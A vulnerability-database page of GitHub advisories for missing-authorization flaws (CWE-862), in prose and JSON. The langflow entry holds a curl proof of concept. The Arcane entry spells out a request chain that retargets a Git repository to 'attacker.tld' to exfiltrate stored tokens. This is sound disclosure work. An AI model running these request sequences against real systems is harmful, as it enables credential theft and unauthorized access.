Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

15153 vulnerabilities reference this CWE, most recent first.

GHSA-7GPF-CH67-224G

Vulnerability from github – Published: 2025-08-21 18:31 – Updated: 2025-08-21 21:32
VLAI
Details

Aikaan IoT management platform v3.25.0325-5-g2e9c59796 provides a configuration to disable user sign-up in distributed deployments by hiding the sign-up option on the login page UI. However, the sign-up API endpoint remains publicly accessible and functional, allowing unauthenticated users to register accounts via APIs even when the feature is disabled. This leads to authentication bypass and unauthorized access to admin portals, violating intended access controls.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-52352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-21T18:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "Aikaan IoT management platform v3.25.0325-5-g2e9c59796 provides a configuration to disable user sign-up in distributed deployments by hiding the sign-up option on the login page UI. However, the sign-up API endpoint remains publicly accessible and functional, allowing unauthenticated users to register accounts via APIs even when the feature is disabled. This leads to authentication bypass and unauthorized access to admin portals, violating intended access controls.",
  "id": "GHSA-7gpf-ch67-224g",
  "modified": "2025-08-21T21:32:05Z",
  "published": "2025-08-21T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52352"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Shubhangborkar/aikaan-vulnerabilities/blob/main/cve4-signup-api-bypass.md"
    },
    {
      "type": "WEB",
      "url": "https://www.aikaan.io"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GQC-Q9MC-6348

Vulnerability from github – Published: 2023-04-12 18:30 – Updated: 2024-01-30 23:13
VLAI
Summary
Lack of authentication mechanism in Jenkins TurboScript Plugin webhook
Details

A missing permission check in Jenkins TurboScript Plugin 1.3 and earlier allows attackers with Item/Read permission to trigger builds of jobs corresponding to the attacker-specified repository.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkinsci.plugins.spoonscript:spoonscript"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-30T23:13:34Z",
    "nvd_published_at": "2023-04-12T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A missing permission check in Jenkins TurboScript Plugin 1.3 and earlier allows attackers with Item/Read permission to trigger builds of jobs corresponding to the attacker-specified repository.",
  "id": "GHSA-7gqc-q9mc-6348",
  "modified": "2024-01-30T23:13:34Z",
  "published": "2023-04-12T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30532"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2023-04-12/#SECURITY-2851"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/04/13/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lack of authentication mechanism in Jenkins TurboScript Plugin webhook"
}

GHSA-7GQM-C625-582W

Vulnerability from github – Published: 2024-06-19 15:30 – Updated: 2024-06-19 15:30
VLAI
Details

Missing Authorization vulnerability in Muffingroup Betheme.This issue affects Betheme: from n/a through 27.1.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T13:15:54Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in Muffingroup Betheme.This issue affects Betheme: from n/a through 27.1.1.",
  "id": "GHSA-7gqm-c625-582w",
  "modified": "2024-06-19T15:30:52Z",
  "published": "2024-06-19T15:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39998"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/betheme/wordpress-betheme-theme-27-1-1-author-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GR3-J3PJ-WGX8

Vulnerability from github – Published: 2023-02-14 06:31 – Updated: 2023-02-21 21:30
VLAI
Details

SAP NetWeaver Application Server for ABAP and ABAP Platform - versions 700, 701, 702, 731, 740, 750, 751, 752, does not perform necessary authorization checks for an authenticated user, resulting in escalation of privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-14T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SAP NetWeaver Application Server for ABAP and ABAP Platform - versions 700, 701, 702, 731, 740, 750, 751, 752, does not perform necessary authorization checks for an authenticated user, resulting in escalation of privileges.",
  "id": "GHSA-7gr3-j3pj-wgx8",
  "modified": "2023-02-21T21:30:18Z",
  "published": "2023-02-14T06:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23854"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3287291"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GR5-P3Q8-FP6G

Vulnerability from github – Published: 2025-03-07 09:30 – Updated: 2025-03-07 09:30
VLAI
Details

The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the uip_save_form_as_option() function in all versions up to, and including, 3.5.04. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-1309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-07T08:15:42Z",
    "severity": "HIGH"
  },
  "details": "The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the uip_save_form_as_option() function in all versions up to, and including, 3.5.04. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.",
  "id": "GHSA-7gr5-p3q8-fp6g",
  "modified": "2025-03-07T09:30:34Z",
  "published": "2025-03-07T09:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1309"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/uipress-lite/tags/3.5.00/admin/core/ajax-functions.php#L625"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3249865"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6754ba34-0dc7-40a5-9548-a5f77db0df53?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GRV-GXHV-F4PM

Vulnerability from github – Published: 2025-01-02 12:32 – Updated: 2026-04-28 21:35
VLAI
Details

Missing Authorization vulnerability in weDevs WP User Frontend allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP User Frontend: from n/a through 3.6.8.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-45002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-02T12:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in weDevs WP User Frontend allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP User Frontend: from n/a through 3.6.8.",
  "id": "GHSA-7grv-gxhv-f4pm",
  "modified": "2026-04-28T21:35:28Z",
  "published": "2025-01-02T12:32:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45002"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-user-frontend/vulnerability/wordpress-wp-user-frontend-plugin-3-6-8-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GRX-3XCX-2XV5

Vulnerability from github – Published: 2026-03-20 20:47 – Updated: 2026-06-06 00:56
VLAI
Summary
langflow has Unauthenticated IDOR on Image Downloads
Details

Summary

The /api/v1/files/images/{flow_id}/{file_name} endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200.

Details

src/backend/base/langflow/api/v1/files.py:138-164download_image takes flow_id: UUID as a bare path parameter with no Depends(get_flow) or CurrentActiveUser. All other file routes (download_file, upload_file, list_files, delete_file) use Depends(get_flow) which enforces both authentication and ownership. There is no global auth middleware on /api/v1; protection is per-endpoint only.

PoC

curl -v "http://localhost:7860/api/v1/files/images/<flow_uuid>/<filename.png>"
# Returns HTTP 200 with image bytes, no auth header required

Impact

Unauthenticated cross-tenant data leak. In a multi-tenant deployment, any attacker who can discover or guess a flow_id (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:47:10Z",
    "nvd_published_at": "2026-03-24T14:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200.\n\n### Details\n`src/backend/base/langflow/api/v1/files.py:138-164` \u2014 `download_image` takes `flow_id`: UUID as a bare path parameter with no Depends(get_flow) or `CurrentActiveUser`. All other file routes (`download_file`, `upload_file`, `list_files`, `delete_file`) use `Depends(get_flow)` which enforces both authentication and ownership. There is no global auth middleware on /api/v1; protection is per-endpoint only.\n\n### PoC\n```\ncurl -v \"http://localhost:7860/api/v1/files/images/\u003cflow_uuid\u003e/\u003cfilename.png\u003e\"\n# Returns HTTP 200 with image bytes, no auth header required\n```\n\n### Impact\nUnauthenticated cross-tenant data leak. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user\u0027s uploaded images without credentials.",
  "id": "GHSA-7grx-3xcx-2xv5",
  "modified": "2026-06-06T00:56:13Z",
  "published": "2026-03-20T20:47:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-7grx-3xcx-2xv5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33484"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-80.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "langflow has Unauthenticated IDOR on Image Downloads"
}

GHSA-7GXX-5PQG-V8F2

Vulnerability from github – Published: 2025-10-31 06:33 – Updated: 2025-10-31 15:30
VLAI
Details

The RealPress WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11191"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-31T06:15:32Z",
    "severity": "MODERATE"
  },
  "details": "The RealPress  WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site.",
  "id": "GHSA-7gxx-5pqg-v8f2",
  "modified": "2025-10-31T15:30:31Z",
  "published": "2025-10-31T06:33:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11191"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/74f19ff2-d5c0-4bd4-83f2-688ea37022b1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7H24-4X4C-69MF

Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2022-11-03 23:46
VLAI
Summary
Improper Authorization in Jenkins Alauda Kubernetes Suport Plugin
Details

A missing permission check in Jenkins Alauda Kubernetes Suport Plugin 2.3.0 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing the Kubernetes service account token or credentials stored in Jenkins.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.alauda.jenkins.plugins:alauda-kubernetes-support"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-03T23:46:33Z",
    "nvd_published_at": "2019-12-17T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A missing permission check in Jenkins Alauda Kubernetes Suport Plugin 2.3.0 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing the Kubernetes service account token or credentials stored in Jenkins.",
  "id": "GHSA-7h24-4x4c-69mf",
  "modified": "2022-11-03T23:46:33Z",
  "published": "2022-05-24T17:03:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16576"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-12-17/#SECURITY-1602"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/12/17/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Authorization in Jenkins Alauda Kubernetes Suport Plugin"
}

GHSA-7H26-HG47-P9HX

Vulnerability from github – Published: 2026-05-18 13:44 – Updated: 2026-06-09 10:30
VLAI
Summary
Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs
Details

Summary

Arcane's huma-based REST API exposes nine endpoints under /api/customize/git-repositories and /api/git-repositories/sync for managing GitOps source repositories and their stored credentials. Eight of those endpoints (list, create, get, update, delete, test, listBranches, browseFiles) never call the checkAdmin(ctx) helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the admin role. As a result, any logged-in user with the default user role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the token/sshKey fields (which UpdateRepository only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next /test, /branches, or /files call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials.

Details

Auth bridge does not enforce role

backend/internal/huma/middleware/auth.go:192-254 (NewAuthBridge) validates Bearer JWTs / API keys / agent tokens and stores the user (and an userIsAdmin flag) in the request context, but it never rejects non-admin callers — admin enforcement is intentionally delegated to handlers via helpers.checkAdmin:

// backend/internal/huma/handlers/helpers.go:11-12
// checkAdmin checks if the current user is an admin and returns a 403 error if not.
func checkAdmin(ctx context.Context) error { ... }

grep -rn "checkAdmin" confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role "user" (backend/internal/huma/handlers/users.go:222-223):

if userModel.Roles == nil {
    userModel.Roles = []string{"user"}
}

Git repository handler is missing the admin gate on 8 of 9 endpoints

backend/internal/huma/handlers/git_repositories.go:117-236 registers nine endpoints. Only SyncRepositories (line 456) calls checkAdmin(ctx). The other handlers — ListRepositories (line 243), CreateRepository (271), GetRepository (301), UpdateRepository (326), DeleteRepository (356), TestRepository (382), ListBranches (407), BrowseFiles (428) — perform no role check whatsoever:

// backend/internal/huma/handlers/git_repositories.go:326-336
func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {
    if h.repoService == nil {
        return nil, huma.Error500InternalServerError("service not available")
    }
    actor := models.User{}
    if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {
        actor = *currentUser
    }
    repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)
    ...

The service layer (backend/internal/services/git_repository_service.go) has no role enforcement either — grep -n "admin" backend/internal/services/git_repository_service.go returns nothing.

Credential-preserving update primitive

UpdateRepository builds a partial update map: the token/ssh_key columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when req.URL != nil:

// backend/internal/services/git_repository_service.go:185-219
updates := make(map[string]any)
if req.Name != nil      { updates["name"] = *req.Name }
if req.URL != nil       { updates["url"]  = *req.URL }   // <-- attacker-pivotable
if req.AuthType != nil  { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil {                                      // <-- only rewritten if supplied
    if *req.Token == "" { updates["token"] = "" } else {
        encrypted, err := crypto.Encrypt(*req.Token)
        ...
        updates["token"] = encrypted
    }
}

So PUT /customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} retargets the repository while preserving the encrypted token.

Sink: Basic-auth send to attacker URL

TestConnection and ListBranches/BrowseFiles decrypt the stored token via GetAuthConfig and pass the chosen URL + auth to gitutil:

// backend/internal/services/git_repository_service.go:340-363
func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {
    authConfig := git.AuthConfig{
        AuthType: repository.AuthType, Username: repository.Username, ...
    }
    if repository.Token != "" {
        token, err := crypto.Decrypt(repository.Token)
        ...
        authConfig.Token = token
    }
    ...
}
// backend/pkg/gitutil/git.go:60-69
case "http":
    if config.Token != "" {
        return &githttp.BasicAuth{
            Username: config.Username,
            Password: config.Token,
        }, nil
    }

go-git's HTTP transport sends Authorization: Basic base64(username:token) in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to /test, /branches, or /files.

Full attack chain (HTTP-token variant)

  1. Attacker authenticates as a normal user (registration or any pre-existing low-priv account).
  2. GET /api/customize/git-repositories enumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their existence is visible).
  3. PUT /api/customize/git-repositories/{id} with {"url":"https://attacker.tld/repo.git"} retargets the repo while preserving the encrypted PAT.
  4. POST /api/customize/git-repositories/{id}/test (or GET .../branches) makes Arcane decrypt the PAT and send it to attacker.tld as HTTP Basic auth.
  5. Optional cleanup: PUT again to restore the original URL, leaving no obvious config drift; or DELETE every repo for DoS on the GitOps pipeline.

The same primitive works for authType: "ssh" repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default accept_new host-key mode, by the attacker simply observing the SSH session).

Impact

  • Cleartext exfiltration of stored Git credentials. PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C).
  • Privilege escalation to effective Arcane admin over GitOps. Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.
  • Supply-chain integrity loss. A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.
  • Denial of service on the GitOps pipeline. DELETE /customize/git-repositories/{id} lets any user wipe production repository configurations.
  • Information disclosure of private repo contents. GET .../files clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.

Default Arcane installations create new accounts with role user; no special configuration is required for the attack to be reachable.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getarcaneapp/arcane/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:44:47Z",
    "nvd_published_at": "2026-05-29T18:17:10Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nArcane\u0027s huma-based REST API exposes nine endpoints under `/api/customize/git-repositories` and `/api/git-repositories/sync` for managing GitOps source repositories and their stored credentials. Eight of those endpoints (`list`, `create`, `get`, `update`, `delete`, `test`, `listBranches`, `browseFiles`) never call the `checkAdmin(ctx)` helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the `admin` role. As a result, any logged-in user with the default `user` role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository\u0027s URL to an attacker-controlled host while omitting the `token`/`sshKey` fields (which `UpdateRepository` only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next `/test`, `/branches`, or `/files` call and present it as HTTP Basic auth (or SSH key auth) to the attacker\u0027s host \u2014 producing a one-step exfiltration of plaintext Git credentials.\n\n## Details\n\n### Auth bridge does not enforce role\n\n`backend/internal/huma/middleware/auth.go:192-254` (`NewAuthBridge`) validates Bearer JWTs / API keys / agent tokens and stores the user (and an `userIsAdmin` flag) in the request context, but it never rejects non-admin callers \u2014 admin enforcement is intentionally delegated to handlers via `helpers.checkAdmin`:\n\n```go\n// backend/internal/huma/handlers/helpers.go:11-12\n// checkAdmin checks if the current user is an admin and returns a 403 error if not.\nfunc checkAdmin(ctx context.Context) error { ... }\n```\n\n`grep -rn \"checkAdmin\"` confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role `\"user\"` (`backend/internal/huma/handlers/users.go:222-223`):\n\n```go\nif userModel.Roles == nil {\n    userModel.Roles = []string{\"user\"}\n}\n```\n\n### Git repository handler is missing the admin gate on 8 of 9 endpoints\n\n`backend/internal/huma/handlers/git_repositories.go:117-236` registers nine endpoints. Only `SyncRepositories` (line 456) calls `checkAdmin(ctx)`. The other handlers \u2014 `ListRepositories` (line 243), `CreateRepository` (271), `GetRepository` (301), `UpdateRepository` (326), `DeleteRepository` (356), `TestRepository` (382), `ListBranches` (407), `BrowseFiles` (428) \u2014 perform no role check whatsoever:\n\n```go\n// backend/internal/huma/handlers/git_repositories.go:326-336\nfunc (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {\n    if h.repoService == nil {\n        return nil, huma.Error500InternalServerError(\"service not available\")\n    }\n    actor := models.User{}\n    if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists \u0026\u0026 currentUser != nil {\n        actor = *currentUser\n    }\n    repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)\n    ...\n```\n\nThe service layer (`backend/internal/services/git_repository_service.go`) has no role enforcement either \u2014 `grep -n \"admin\" backend/internal/services/git_repository_service.go` returns nothing.\n\n### Credential-preserving update primitive\n\n`UpdateRepository` builds a partial update map: the `token`/`ssh_key` columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when `req.URL != nil`:\n\n```go\n// backend/internal/services/git_repository_service.go:185-219\nupdates := make(map[string]any)\nif req.Name != nil      { updates[\"name\"] = *req.Name }\nif req.URL != nil       { updates[\"url\"]  = *req.URL }   // \u003c-- attacker-pivotable\nif req.AuthType != nil  { updates[\"auth_type\"] = *req.AuthType }\n...\nif req.Token != nil {                                      // \u003c-- only rewritten if supplied\n    if *req.Token == \"\" { updates[\"token\"] = \"\" } else {\n        encrypted, err := crypto.Encrypt(*req.Token)\n        ...\n        updates[\"token\"] = encrypted\n    }\n}\n```\n\nSo `PUT /customize/git-repositories/{id}` with body `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repository while preserving the encrypted token.\n\n### Sink: Basic-auth send to attacker URL\n\n`TestConnection` and `ListBranches`/`BrowseFiles` decrypt the stored token via `GetAuthConfig` and pass the chosen URL + auth to `gitutil`:\n\n```go\n// backend/internal/services/git_repository_service.go:340-363\nfunc (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {\n    authConfig := git.AuthConfig{\n        AuthType: repository.AuthType, Username: repository.Username, ...\n    }\n    if repository.Token != \"\" {\n        token, err := crypto.Decrypt(repository.Token)\n        ...\n        authConfig.Token = token\n    }\n    ...\n}\n```\n\n```go\n// backend/pkg/gitutil/git.go:60-69\ncase \"http\":\n    if config.Token != \"\" {\n        return \u0026githttp.BasicAuth{\n            Username: config.Username,\n            Password: config.Token,\n        }, nil\n    }\n```\n\n`go-git`\u0027s HTTP transport sends `Authorization: Basic base64(username:token)` in the very first reference-discovery request to the (attacker-controlled) URL \u2014 so the cleartext PAT lands in the attacker\u0027s web-server access log on the first call to `/test`, `/branches`, or `/files`.\n\n### Full attack chain (HTTP-token variant)\n\n1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account).\n2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username \u2014 token/sshKey are encrypted but their *existence* is visible).\n3. `PUT /api/customize/git-repositories/{id}` with `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repo while preserving the encrypted PAT.\n4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth.\n5. Optional cleanup: `PUT` again to restore the original URL, leaving no obvious config drift; or `DELETE` every repo for DoS on the GitOps pipeline.\n\nThe same primitive works for `authType: \"ssh\"` repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default `accept_new` host-key mode, by the attacker simply observing the SSH session).\n\n## Impact\n\n- **Cleartext exfiltration of stored Git credentials.** PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org\u0027s source repos, CI secrets, container registries, and downstream production systems \u2014 escaping Arcane\u0027s security boundary entirely (S:C).\n- **Privilege escalation to effective Arcane admin over GitOps.** Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.\n- **Supply-chain integrity loss.** A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.\n- **Denial of service on the GitOps pipeline.** `DELETE /customize/git-repositories/{id}` lets any user wipe production repository configurations.\n- **Information disclosure of private repo contents.** `GET .../files` clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.\n\nDefault Arcane installations create new accounts with role `user`; no special configuration is required for the attack to be reachable.",
  "id": "GHSA-7h26-hg47-p9hx",
  "modified": "2026-06-09T10:30:21Z",
  "published": "2026-05-18T13:44:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-7h26-hg47-p9hx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45625"
    },
    {
      "type": "PACKAGE",
